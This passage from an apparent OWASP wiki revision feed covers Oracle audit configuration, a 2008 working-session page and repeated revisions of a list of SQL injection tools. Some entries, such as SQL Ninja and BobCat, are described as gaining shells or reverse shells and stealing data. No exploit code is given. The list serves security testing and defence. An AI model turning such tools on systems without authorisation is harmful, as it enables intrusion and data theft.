To properly protect database access the auditing of user database activities should be implemented in order to identify any suspicious activity or to check if an user has more privileges than expected.&lt;br /&gt;
&lt;br /&gt;
=== Start Audit Service ===&lt;br /&gt;
&lt;br /&gt;
To start the audit service execute “cataudit.sql” as SYS account. Then, choose if it is wanted to store the audit record to DataBase or Operating System file by setting the parameter “AUDIT_TRAIL” to DB or OS. The database audit trail is a single table named SYS.AUD$, but there are predefined views that help to use the information in this table, while as regard operating system audit trail the audit records are written into the directory that you choose by setting the “AUDIT_FILE_DEST” parameter.&lt;br /&gt;
&lt;br /&gt;
=== Enable Audit ===&lt;br /&gt;
&lt;br /&gt;
Once you start the audit service, it is possible choose to audit the sys operation by setting the AUDIT_SYS_OPERATION to TRUE. So that, Oracle Database audit connections to the database with administrator privileges, database startup and shutdown.&lt;br /&gt;
Then, it is possible enable other options, by using AUDIT SQL statement:&lt;br /&gt;
&lt;br /&gt;
* Statement Auditing.&lt;br /&gt;
* Privilege Auditing.&lt;br /&gt;
* Schema Object Auditing.&lt;br /&gt;
&lt;br /&gt;
An example to audit some activities on table “test” owned by OWASP (Schema Object Auditing):&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; AUDIT INSERT, UPDATE, DELETE ON owasp.test BY ACCESS;&lt;br /&gt;
&lt;br /&gt;
Oracle Database allow to write a single audit record for all SQL statements in the same session, using the “by session” option in the audit SQL command or to write one record for each access, using the “by access” option.&lt;br /&gt;
Then, Oracle Database allows, also, to write the successful executions of statements, using the “whenever successful” option in the audit SQL command or unsuccessful attempts to execute statements, using the “whenever not successful”.&lt;br /&gt;
&lt;br /&gt;
=== Disable Audit ===&lt;br /&gt;
&lt;br /&gt;
To turn off an audit option use the statement “NOAUDIT”, such as:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; NOAUDIT ALL PRIVILEGES;&lt;br /&gt;
&lt;br /&gt;
=== Check Audit ===&lt;br /&gt;
&lt;br /&gt;
When using the database audit trail use the “SELECT” statement from the follow view to show the enabled audit:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Type of Audit !! View Name &lt;br /&gt;
|-&lt;br /&gt;
| Default Auditing || ALL_DEF_AUDIT_OPTS&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| Statment Auditing || DBA_STMT_AUDIT_OPTS&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| Object Auditing || DBA_OBJ_AUDIT_OPTS&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| Privilege Auditing || DBA_PRIV_AUDIT_OPT&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
An example:&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT * FROM DBA_STMT_AUDIT_OPTS;&lt;br /&gt;
&lt;br /&gt;
 USER_NAME                    AUDIT_OPTION                 SUCCESS              FAILURE&lt;br /&gt;
 --------------------         -------------------          ----------           ---------&lt;br /&gt;
 OWASP		              SESSION 		           BY SESSION 	        BY SESSION&lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
[1] The Oracle Hacker's Handbook: Hacking and Defending Oracle by David Litchfield &lt;br /&gt;
&lt;br /&gt;
[2] The Database Hacker's Handbook: Defending Database Servers by David Litchfield&lt;br /&gt;
&lt;br /&gt;
[3] Database Security Technical Implementation Guide by DISA for the DOD&lt;br /&gt;
&lt;br /&gt;
[4] Oracle Database Security Guide by Oracle Corporation&lt;br /&gt;
&lt;br /&gt;
[5] Oracle Database Security Checklist by Oracle Corporation&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Working_Session_Winter_of_Code_2009&amp;diff=44594</id>
		<title>Working Session Winter of Code 2009</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Working_Session_Winter_of_Code_2009&amp;diff=44594"/>
				<updated>2008-10-24T17:45:18Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#b3b3b3; color:white&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''Working Sessions Operational Rules''' - [[:Working Sessions Methodology|'''Please see here the general frame of rules''']].&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''WORKING SESSION IDENTIFICATION''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Work Session Name'''&lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''OWASP Winter of Code 2009'''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Short Work Session Description''' &lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|Aims to define the next OWASP Season of Code frame.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Related Projects (if any)''' &lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
*[[:OWASP Summer of Code 2008|OWASP Summer of Code 2008]],&lt;br /&gt;
*[[:OWASP Spring Of Code 2007|OWASP Spring Of Code 2007]], &lt;br /&gt;
*[[:OWASP Autumn Of Code 2006|OWASP Autumn Of Code 2006]].&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Email Contacts &amp;amp; Roles'''&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Chair'''&amp;lt;br&amp;gt;[mailto:dinis.cruz(at)owasp.org '''Dinis Cruz'''], [mailto:seba(at)owasp.org '''Sebastien Deleersnyder'''] &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Secretary'''&amp;lt;br&amp;gt;[mailto:paulo.coimbra(at)owasp.org '''Paulo Coimbra''']&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Mailing list'''&amp;lt;br&amp;gt;[https://lists.owasp.org/mailman/listinfo/owasp-winter-of-code-2009 '''Subscription Page''']&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''WORKING SESSION SPECIFICS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Objectives'''&lt;br /&gt;
 | colspan=&amp;quot;6&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;&lt;br /&gt;
*  Define the operation model for the next OWASP Season of Code (the Winter of Code 08),&lt;br /&gt;
* Identify which areas should receive priority selection,&lt;br /&gt;
* Create 'virtual teams' from the attendees and allocate them to key projects,&lt;br /&gt;
* Discuss sponsoring models. &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Venue/Date&amp;amp;Time/Model'''&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Venue'''&amp;lt;br&amp;gt;[[:OWASP EU Summit 2008|OWASP EU Summit Portugal 2008]] &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Date&amp;amp;Time'''&amp;lt;br&amp;gt;November 4 &amp;amp; 7, 2008 &amp;lt;br&amp;gt;Time TBD&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Discussion Model'''&amp;lt;br&amp;gt;&amp;quot;Everybody is a Participant&amp;quot;&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:white; color:white&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
{|style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''WORKING SESSION OPERATIONAL RESOURCES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Please add here, ASAP, any needed relevant resources, e.g. data-show, boards, laptops, etc.&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:white; color:white&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''WORKING SESSION ADDITIONAL DETAILS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Please add here, any additional notes, links, ideas, guidelines, etc... The objective is to help the working sessions participants and attendees to prepare their participation/contribution&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|'''WORKING SESSION OUTCOMES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#6C82B5&amp;quot; align=&amp;quot;center&amp;quot;|Statements, Initiatives or Decisions &lt;br /&gt;
 | style=&amp;quot;width:46%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Proposed by Working Group''' &lt;br /&gt;
 | style=&amp;quot;width:47%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Approved by OWASP Board'''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|Initiative &lt;br /&gt;
 | style=&amp;quot;width:46%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Winter of Code 08 plan.&lt;br /&gt;
 | style=&amp;quot;width:47%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|After the Board Meeting - fill in here. &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|Decision &lt;br /&gt;
 | style=&amp;quot;width:46%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Set of projects for immediate approval (assuming the proposal is ready).&lt;br /&gt;
 | style=&amp;quot;width:47%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|After the Board Meeting - fill in here. &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:46%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Fill in here.&lt;br /&gt;
 | style=&amp;quot;width:47%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|After the Board Meeting - fill in here. &lt;br /&gt;
  |}&lt;br /&gt;
== Working Session Participants ==&lt;br /&gt;
(Add you name by editing this table. On your the right, just above the this frame, you have the option to edit)&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;7&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''WORKING SESSION PARTICIPANTS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Name'''&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Company'''&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|'''Notes &amp;amp; reason for participating, issues to be discussed/addressed'''&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|1&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Eduardo Vianna de Camargo Neves&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Conviso IT Security&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Understand how we can help the initiative and participate to continue the Positive Security project.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|2&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Leonardo Cavallari Militelli&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|E-VAL Tecnologia&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Share feelings from other 2 season of code, discuss improvements for WoC and continue ASDR development.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|3&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Matt Tesauro&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Live CD 2008 Project Lead&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Discuss what worked and didn't work with the SoC.&amp;lt;br&amp;gt;  Give some input on how to spread the word about OWASP's XoC's&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|4&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Matteo Meucci&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Minded Security, OWASP Testing Guide&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Discuss new ideas about projects. Should OWASP says which projects develop?&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|5&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Carlo Pelliccioni&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Symantec, OWASP Backend Security Project&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| Discuss about the next OWASP sponsorship to share new ideas.&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|6&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|7&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|8&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|9&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
|-&lt;br /&gt;
 | style=&amp;quot;width:7%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|10&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 | style=&amp;quot;width:63%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
 |}&lt;br /&gt;
If needed add here more lines.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Working_Session]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=44181</id>
		<title>OWASP Backend Security Project Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=44181"/>
				<updated>2008-10-21T01:19:32Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Tools =&lt;br /&gt;
&lt;br /&gt;
The aim of this section is to enumerate and quickly describe the tools used to find and exploit some vulnerabilities concerning database management systems.&lt;br /&gt;
&lt;br /&gt;
== SQL Ninja ==&lt;br /&gt;
&lt;br /&gt;
SQL Ninja is a tool, written in Perl, which helps a penetration tester to gain a shell on a  system running Microsoft SQL server, exploiting a web application resulted vulnerable to SQL Injection.&lt;br /&gt;
&lt;br /&gt;
http://sqlninja.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== SQLMap ==&lt;br /&gt;
&lt;br /&gt;
SQLMap is a Python application able to collect information and data, such as databases names, table’s names and contents, and read system files from a MySQL, Oracle, PostgreSQL or Microsoft SQL Server Database Management Systems, exploiting the SQL Injection vulnerability of a vulnerable web application.&lt;br /&gt;
&lt;br /&gt;
http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== OWASP SQLiX ==&lt;br /&gt;
&lt;br /&gt;
SQLiX is a tool, written in Perl, able to identify the back-end database, find blind and normal injection and also execute system commands on a Microsoft SQL Server. It was also successfully tested on MySQL and PostgreSQL.&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
&lt;br /&gt;
== Scuba ==&lt;br /&gt;
&lt;br /&gt;
Scuba is a Database vulnerability scanner able to find vulnerabilities like unpatched software, unsafe processes and weak password on Oracle, DB2, Microsoft SQL Server and Sybase.&lt;br /&gt;
&lt;br /&gt;
http://www.imperva.com/products/scuba.html&lt;br /&gt;
&lt;br /&gt;
== SQID SQL Injection Digger ==&lt;br /&gt;
&lt;br /&gt;
SQL injection digger is a command line program, written in [http://www.ruby-lang.org/ ruby], that looks for SQL injections and common errors in websites. It can perform the following operations:&lt;br /&gt;
* Look for SQL injection in a webpage, by looking for links&lt;br /&gt;
* Submit forms in a webpage to look for SQL injection&lt;br /&gt;
* Crawl a website to perform the above listed operations&lt;br /&gt;
* Perform a google search for a query and look for SQL injections in the urls found&lt;br /&gt;
&lt;br /&gt;
http://sqid.rubyforge.org&lt;br /&gt;
&lt;br /&gt;
== SqlDumper ==&lt;br /&gt;
&lt;br /&gt;
Exploiting a SQL injection vulnerability SqlDumper can make dump of any file in the file system. It work only with DBMS MySql.&lt;br /&gt;
&lt;br /&gt;
http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php &lt;br /&gt;
&lt;br /&gt;
== SQL Power Injector ==&lt;br /&gt;
&lt;br /&gt;
SQL Power Injector is a .Net 1.1 application used to find and exploit SQL Injection vulnerability through a vulnerable web application which uses SQL Server, MySql, Sybase/Adaptive Server and DB2 Database Management Systems as backend. It’s main feature is the support for multithreaded automation of the injection.&lt;br /&gt;
&lt;br /&gt;
http://www.sqlpowerinjector.com &lt;br /&gt;
&lt;br /&gt;
== BobCat ==&lt;br /&gt;
&lt;br /&gt;
BobCat is a tool based on “Data Thief” and realized in .NET 2.0. It permits to take full advantage of SQL Injection vulnerability discovered in a web application to steal data, gain a shell or a reverse shell on the database management system machine. It has been tested on MSDE2000.&lt;br /&gt;
&lt;br /&gt;
http://www.northern-monkee.co.uk/index.html&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=44180</id>
		<title>OWASP Backend Security Project Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=44180"/>
				<updated>2008-10-21T01:18:55Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* SQID SQL Injection Digger */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Tools =&lt;br /&gt;
&lt;br /&gt;
The aim of this section is to enumerate and quickly describe the tools used to find and exploit some vulnerabilities concerning database management systems.&lt;br /&gt;
&lt;br /&gt;
== SQL Ninja ==&lt;br /&gt;
&lt;br /&gt;
SQL Ninja is a tool, written in Perl, which helps a penetration tester to gain a shell on a  system running Microsoft SQL server, exploiting a web application resulted vulnerable to SQL Injection.&lt;br /&gt;
&lt;br /&gt;
http://sqlninja.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== SQLMap ==&lt;br /&gt;
&lt;br /&gt;
SQLMap is a Python application able to collect information and data, such as databases names, table’s names and contents, and read system files from a MySQL, Oracle, PostgreSQL or Microsoft SQL Server Database Management Systems, exploiting the SQL Injection vulnerability of a vulnerable web application.&lt;br /&gt;
&lt;br /&gt;
http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== OWASP SQLiX ==&lt;br /&gt;
&lt;br /&gt;
SQLiX is a tool, written in Perl, able to identify the back-end database, find blind and normal injection and also execute system commands on a Microsoft SQL Server. It was also successfully tested on MySQL and PostgreSQL.&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
&lt;br /&gt;
== Scuba ==&lt;br /&gt;
&lt;br /&gt;
Scuba is a Database vulnerability scanner able to find vulnerabilities like unpatched software, unsafe processes and weak password on Oracle, DB2, Microsoft SQL Server and Sybase.&lt;br /&gt;
&lt;br /&gt;
http://www.imperva.com/products/scuba.html&lt;br /&gt;
&lt;br /&gt;
== SQID SQL Injection Digger ==&lt;br /&gt;
&lt;br /&gt;
SQL injection digger is a command line program, written in [http://www.ruby-lang.org/ ruby], that looks for SQL injections and common errors in websites. It can perform the following operations:&lt;br /&gt;
* Look for SQL injection in a webpage, by looking for links&lt;br /&gt;
* Submit forms in a webpage to look for SQL injection&lt;br /&gt;
* Crawl a website to perform the above listed operations&lt;br /&gt;
* Perform a google search for a query and look for SQL injections in the urls found&lt;br /&gt;
&lt;br /&gt;
http://sqid.rubyforge.org&lt;br /&gt;
&lt;br /&gt;
=== SqlDumper ===&lt;br /&gt;
&lt;br /&gt;
Exploiting a SQL injection vulnerability SqlDumper can make dump of any file in the file system. It work only with DBMS MySql.&lt;br /&gt;
&lt;br /&gt;
http://www.ictsc.it/site/IT/projects/sqlDumper/sqlDumper.php &lt;br /&gt;
&lt;br /&gt;
=== SQL Power Injector ===&lt;br /&gt;
&lt;br /&gt;
SQL Power Injector is a .Net 1.1 application used to find and exploit SQL Injection vulnerability through a vulnerable web application which uses SQL Server, MySql, Sybase/Adaptive Server and DB2 Database Management Systems as backend. It’s main feature is the support for multithreaded automation of the injection.&lt;br /&gt;
&lt;br /&gt;
http://www.sqlpowerinjector.com &lt;br /&gt;
&lt;br /&gt;
=== BobCat ===&lt;br /&gt;
&lt;br /&gt;
BobCat is a tool based on “Data Thief” and realized in .NET 2.0. It permits to take full advantage of SQL Injection vulnerability discovered in a web application to steal data, gain a shell or a reverse shell on the database management system machine. It has been tested on MSDE2000.&lt;br /&gt;
&lt;br /&gt;
http://www.northern-monkee.co.uk/index.html&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=44179</id>
		<title>OWASP Backend Security Project Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Backend_Security_Project_Tools&amp;diff=44179"/>
				<updated>2008-10-21T01:18:37Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* Tools */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Tools =&lt;br /&gt;
&lt;br /&gt;
The aim of this section is to enumerate and quickly describe the tools used to find and exploit some vulnerabilities concerning database management systems.&lt;br /&gt;
&lt;br /&gt;
== SQL Ninja ==&lt;br /&gt;
&lt;br /&gt;
SQL Ninja is a tool, written in Perl, which helps a penetration tester to gain a shell on a  system running Microsoft SQL server, exploiting a web application resulted vulnerable to SQL Injection.&lt;br /&gt;
&lt;br /&gt;
http://sqlninja.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== SQLMap ==&lt;br /&gt;
&lt;br /&gt;
SQLMap is a Python application able to collect information and data, such as databases names, table’s names and contents, and read system files from a MySQL, Oracle, PostgreSQL or Microsoft SQL Server Database Management Systems, exploiting the SQL Injection vulnerability of a vulnerable web application.&lt;br /&gt;
&lt;br /&gt;
http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
== OWASP SQLiX ==&lt;br /&gt;
&lt;br /&gt;
SQLiX is a tool, written in Perl, able to identify the back-end database, find blind and normal injection and also execute system commands on a Microsoft SQL Server. It was also successfully tested on MySQL and PostgreSQL.&lt;br /&gt;
&lt;br /&gt;
http://www.owasp.org/index.php/Category:OWASP_SQLiX_Project&lt;br /&gt;
&lt;br /&gt;
== Scuba ==&lt;br /&gt;
&lt;br /&gt;
